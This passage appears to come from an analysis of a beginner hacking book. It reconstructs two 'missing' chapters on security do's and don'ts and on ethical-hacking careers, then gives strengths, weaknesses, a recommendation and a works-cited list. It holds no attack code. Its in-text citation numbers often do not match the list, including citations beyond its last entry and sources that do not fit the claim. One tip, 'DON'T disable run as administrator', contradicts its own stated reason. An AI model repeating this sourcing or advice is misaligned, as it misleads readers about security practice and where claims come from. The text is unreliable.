- **Building Trust and Compliance:** Proactive hacking helps "maintain compliance with industry regulations" and "build trust with customers, clients, and stakeholders" who are assured their data is protected.[48]

Chapter 13: The Do's and Don'ts of Hacking

This missing chapter would function as a practical *Operational Security (OPSEC)* guide. It synthesizes the "10 Commandments" (Chapter 3) and the various countermeasures into a

single, actionable list. This advice is dual-use: for a *defender*, it is a protection guide; for an *attacker*, it is an OPSEC guide for "avoiding detection."

- **Key "Do's" (Operational Security):**
  - **DO** use a password manager to create and store strong, unique passwords for all accounts.[51]
  - **DO** enable Two-Factor Authentication (2FA) on all critical accounts.[52]
  - **DO** keep all software, operating systems, and apps "up to date" to ensure vulnerabilities are patched.[52]
  - **DO** use a Virtual Private Network (VPN), especially when on public or untrusted networks.[52]
  - **DO** "watch out what permissions you give to smartphone apps".[52]
- **Key "Don'ts" (Avoiding Vulnerabilities):**
  - **DON'T** access personal or financial data (e.g., banking) while "using public Wi-Fi".[53]
  - **DON'T** click on suspicious links or open attachments in unexpected emails or texts.[54]
  - **DON'T** download apps from "unofficial apps" stores.[52]
  - **DON'T** "disable 'run as administrator' on all your devices" for daily use. This limits a hacker's privileges if they do gain access.[52]
  - **DON'T** root or jailbreak your phone, as this bypasses critical, built-in security features.[52]

Chapter 14: Predicting the Future of Hacking

This missing chapter would serve as a "call to action," presenting ethical hacking as a viable and lucrative career path. This completes the book's narrative arc, moving the reader from student to potential professional.

- **Job Outlook:** The demand for ethical hackers is exceptionally high, with "promising job security" due to a massive, persistent global cybersecurity skills gap.[55]
- **Career Paths:** The certification and skills lead to roles such as Penetration Tester, Cyber Security Engineer, Information Security Manager, and Security Consultant.[56]
- **Salary and Certifications:** The field has strong earning potential, with six-figure salaries being common for experienced practitioners.[56] The **Certified Ethical Hacker (CEH)** certification is highlighted as "globally recognized" [58] and "widely in ethical hacking job postings".[56] It is particularly valued for entry-to-mid-level roles and for government positions that require DoD 8570/8140 compliance.[58]

Section 4: Expert Synthesis and Conclusion

This analysis provides a holistic assessment of *Hacking: Computer Hacking, Security Testing, Penetration Testing and Basic Security* as a technical manual.

Overall Assessment
The book's primary strength is its logical and professional structure. It serves as a strong conceptual framework for the penetration testing methodology. It correctly mirrors the flow of a professional engagement: 1) formal planning, ethics, and reconnaissance (Part I); 2) technical execution (Part II); and 3) professional justification and career development (Part III).
Strengths

- **Methodological Soundness:** The "Hacker's Methodology" (Chapter 4) provides a solid, industry-standard, four-phase template (Recon, Scan, Evaluate, Exploit) that is the book's most valuable asset.
- **Ethical Framework:** The "10 Commandments of Ethical Hacking" (Chapter 3) establish an essential ethical and professional framework, correctly prioritizing authorization and accountability.
- **Practical Demonstrations:** The book excels when it provides simple, tangible demonstrations of complex security concepts. The best example is the Wireshark password-sniffing task (Chapter 10), which perfectly illustrates the concrete dangers of unencrypted HTTP traffic.

Weaknesses and Critiques

- **Technically Dated:** The book's specific technical examples are obsolete. The MS15-100 exploit (Chapter 6) is from 2015 [29], and the pwdump3 tool (Chapter 9) has been superseded by modern tools like mimikatz [39] and secretsdump.py.[40]
- **Technical Inaccuracies:** The text contains significant technical errors, most notably the flawed explanation of salting's effect on brute-force attacks (Chapter 9). As analyzed, salting is a crucial defense against *both* rainbow tables and brute-force attacks.[37]
- **Inconsistent Quality:** The technical depth is highly variable. The Metasploit template (Chapter 6) is a strong educational tool, while the smartphone hacking section (Chapter 5) is weak, vague, and promotes a "script-kiddie" level "magic" tool without explaining any technical mechanism.

Final Recommendation
This book is a valuable starting point for a novice in the discipline of security, teaching the mindset and methodology of an ethical hacker. The reader should adopt its processes—particularly the 4-phase methodology, the ethical commandments, and the formal planning model.
However, the reader must be prepared to *replace* its specific *tools and exploits* with modern

alternatives. The true value of this book is not in learning to use pwdump3 or the MS15-100 exploit; its value is in learning *why* a hacker dumps password hashes and *how* the Metasploit framework is used to package and deliver a payload. The book successfully teaches *how to think* like a hacker; the reader must now take that methodology and apply it to modern tools and vulnerabilities.

Works cited

1. Hacking Computer Hacking Security Testing Penetration Testing.pdf
2. accessed on November 4, 2025, https://www.hornetsecurity.com/en/knowledge-base/keylogger-attacks/#:~:text=prevent%20keylogger%20attacks-,What%20are%20keylogger%20attacks%3F,keystroke%20made%20by%20a%20user.
3. accessed on November 4, 2025, https://www.imperva.com/learn/ddos/botnet-ddos/#:~:text=A%20Denial%20of%20Service%20(DoS,who%20have%20coordinated%20their%20activity.
4. Watering hole attack, accessed on November 4, 2025, https://en.wikipedia.org/wiki/Watering_hole_attack
5. accessed on November 4, 2025, https://www.ebsco.com/research-starters/computer-science/pharming-cyber-attack#:~:text=Pharming%20exploits%20vulnerabilities%20in%20a,online%20transactions%20and%20personal%20data.
6. accessed on November 4, 2025, https://en.wikipedia.org/wiki/Clickjacking#:~:text=Clickjacking%20(classified%20as%20a%20user,their%20computer%20while%20clicking%20on
7. Session hijacking - Wikipedia, accessed on November 4, 2025, https://en.wikipedia.org/wiki/Session_hijacking
8. accessed on November 4, 2025, https://en.wikipedia.org/wiki/Man-in-the-middle_attack
9. Spyware: What It Is and How to Protect Yourself - Kaspersky, accessed on November 4, 2025, https://www.kaspersky.com/resource-center/threats/spyware
10. The 11-Step Pen Test Plan - BreachLock, accessed on November 4, 2025, https://www.breachlock.com/resources/blog/the-11-step-pen-test-plan/
11. Ethical Hacking Commandments - IJETCSE, accessed on November 4, 2025, https://ijetcse.com/wp-content/uploads/8_Ethical-Hacking-Commandments.pdf
12. Blind Testing vs Double Blind Testing vs Triple Blind Testing - DEV Community, accessed on November 4, 2025, https://dev.to/sachindra149/blind-testing-vs-double-blind-testing-vs-triple-blind-testing-49o9
13. Penetration Testing with Metasploit | by Guven Boyraz - Medium, accessed on November 4, 2025, https://medium.com/@guvenboyraz/penetration-testing-with-metasploit-42b9c19058c3
14. What is Google Dorking/Hacking | Techniques & Examples | Imperva, accessed on November 4, 2025,

https://www.imperva.com/learn/application-security/google-dorking-hacking/
15. 12 popular vulnerability scanning tools in 2025 | Red Canary, accessed on November 4, 2025, https://redcanary.com/cybersecurity-101/security-operations/vulnerability-scanning-tools/
16. Qualys vs Nexpose vs Nessus : r/cybersecurity - Reddit, accessed on November 4, 2025, https://www.reddit.com/r/cybersecurity/comments/1ccre3p/qualys_vs_nexpose_vs_nessus/
17. A step-by-step Android penetration testing guide for beginners, accessed on November 4, 2025, https://www.hackthebox.com/blog/intro-to-mobile-pentesting
18. MS15-100: Vulnerability in Windows Media Center could allow remote code execution: September 8, 2015 - Microsoft Support, accessed on November 4, 2025, https://support.microsoft.com/en-us/topic/ms15-100-vulnerability-in-windows-media-center-could-allow-remote-code-execution-september-8-2015-aa699597-d7da-34dd-8ebf-030480a8613c
19. 13 Physical Penetration Testing Methods That Work - PurpleSec, accessed on November 4, 2025, https://purplesec.us/learn/physical-penetration-testing/
20. Physical Penetration Testing by DeepSeas RED, accessed on November 4, 2025, https://www.deepseas.com/physical-penetration-testing-by-deepseas-red/
21. Bypassing Tactics | The CORE Group, accessed on November 4, 2025, https://thecoregroup.net/bypassing-tactics/
22. Physical Security: Lock Picking Basics for Hackers, accessed on November 4, 2025, https://hackers-arise.com/physical-security-lock-picking-basics-for-hackers/
23. Tailgating Attack: Examples and Prevention - Fortinet, accessed on November 4, 2025, https://www.fortinet.com/resources/cyberglossary/tailgating-attack
24. Understanding Tailgating Attacks & How to Prevent Them | Group-IB, accessed on November 4, 2025, https://www.group-ib.com/resources/knowledge-hub/tailgating-attack/
25. Salt (cryptography) - Wikipedia, accessed on November 4, 2025, https://en.wikipedia.org/wiki/Salt_(cryptography)
26. What is password salting and why you need it - IPVanish, accessed on November 4, 2025, https://www.ipvanish.com/blog/password-salting/
27. Password Salting: A Savory Way to Secure Your Secrets - Hashed Out by The SSL Store™, accessed on November 4, 2025, https://www.thesslstore.com/blog/password-salting-a-savory-way-to-secure-your-secrets/
28. Windows PWDUMP tools - Openwall, accessed on November 4, 2025, https://www.openwall.com/passwords/windows-pwdump
29. Dumping Windows Credentials | Thales Cyber Services ANZ Group, accessed on November 4, 2025, https://tesserent.com/insights/blog/dumping-windows-credentials

30. Directory Traversal Attack: Path traversal explained - Acunetix, accessed on November 4, 2025, https://www.acunetix.com/websitesecurity/directory-traversal/
31. Wireshark 101: Finding Passwords & Credentials in Plain Text ..., accessed on November 4, 2025, https://mawgoud.medium.com/wireshark-101-finding-passwords-credentials-in-plain-text-traffic-0ec04ab0e014
32. A Beginner's Guide to Wi-Fi Attacks | by Karthikeyan Nagaraj | Infosec Matrix | Medium, accessed on November 4, 2025, https://medium.com/infosecmatrix/a-beginners-guide-to-wi-fi-attacks-33760f42020e
33. Spoofing MAC Address Using Macchanger Tool: A Practical Guide, accessed on November 4, 2025, https://www.infosectrain.com/blog/spoofing-mac-address-using-macchanger-tool-a-practical-guide/
34. How to Change the Mac Address in Kali Linux Using Macchanger - GeeksforGeeks, accessed on November 4, 2025, https://www.geeksforgeeks.org/linux-unix/how-to-change-the-mac-address-in-kali-linux-using-macchanger/
35. accessed on November 4, 2025, https://online.yu.edu/katz/blog/importance-of-ethical-hacking#:~:text=The%20importance%20of%20ethical%20hacking%20lies%20primarily%20in%20identifying%20vulnerabilities,nearly%20%245%20million%20per%20incident.&text=Proactive%20testing%20costs%20just%20a%20tiny%20fraction%20of%20that.
36. The Importance of Ethical Hacking for Cybersecurity - Yeshiva University, accessed on November 4, 2025, https://online.yu.edu/katz/blog/importance-of-ethical-hacking
37. What Is Ethical Hacking? | Purdue Global, accessed on November 4, 2025, https://www.purdueglobal.edu/blog/information-technology/ethical-hacker/
38. The Benefits of Ethical Hacking and When to Hire a Hacker - American Military University, accessed on November 4, 2025, https://www.amu.apus.edu/area-of-study/information-technology/resources/the-benefits-of-ethical-hacking/
39. 7 easy tips to avoid hackers - Sherweb, accessed on November 4, 2025, https://www.sherweb.com/blog/security/tips-avoid-hackers/
40. How to protect your privacy against hackers - Kaspersky, accessed on November 4, 2025, https://usa.kaspersky.com/resource-center/threats/hackers-and-your-online-privacy
41. Internet safety: How to protect yourself from hackers - Chubb, accessed on November 4, 2025, https://www.chubb.com/us-en/individuals-families/resources/6-ways-to-protect-yourself-from-hackers.html
42. Protect Your Personal Information From Hackers and Scammers | Consumer Advice, accessed on November 4, 2025, https://consumer.ftc.gov/node/77479

43. Is Ethical Hacking a Good Career Choice in 2025? - StationX, accessed on November 4, 2025, https://www.stationx.net/is-ethical-hacking-a-good-career/
44. Certified Ethical Hacker Career Outlook 2025 - Infosec, accessed on November 4, 2025, https://www.infosecinstitute.com/resources/ceh/certified-ethical-hacker-job-outlook/
45. Career Outlook for Ethical Hacking Experts - CertLibrary Blog, accessed on November 4, 2025, https://www.certlibrary.com/blog/career-outlook-for-ethical-hacking-experts/
46. Will CEH Remain Relevant in the Future of Ethical Hacking (2030)? - Hackers4U, accessed on November 4, 2025, https://www.hackers4u.com/will-ceh-remain-relevant-in-the-future-of-ethical-hacking-2030
47. accessed on November 4, 2025, https://www.hackers4u.com/will-ceh-remain-relevant-in-the-future-of-ethical-hacking-2030#:~:text=The%20demand%20for%20ethical%20hackers,level%20and%20mid%2Dlevel%20roles.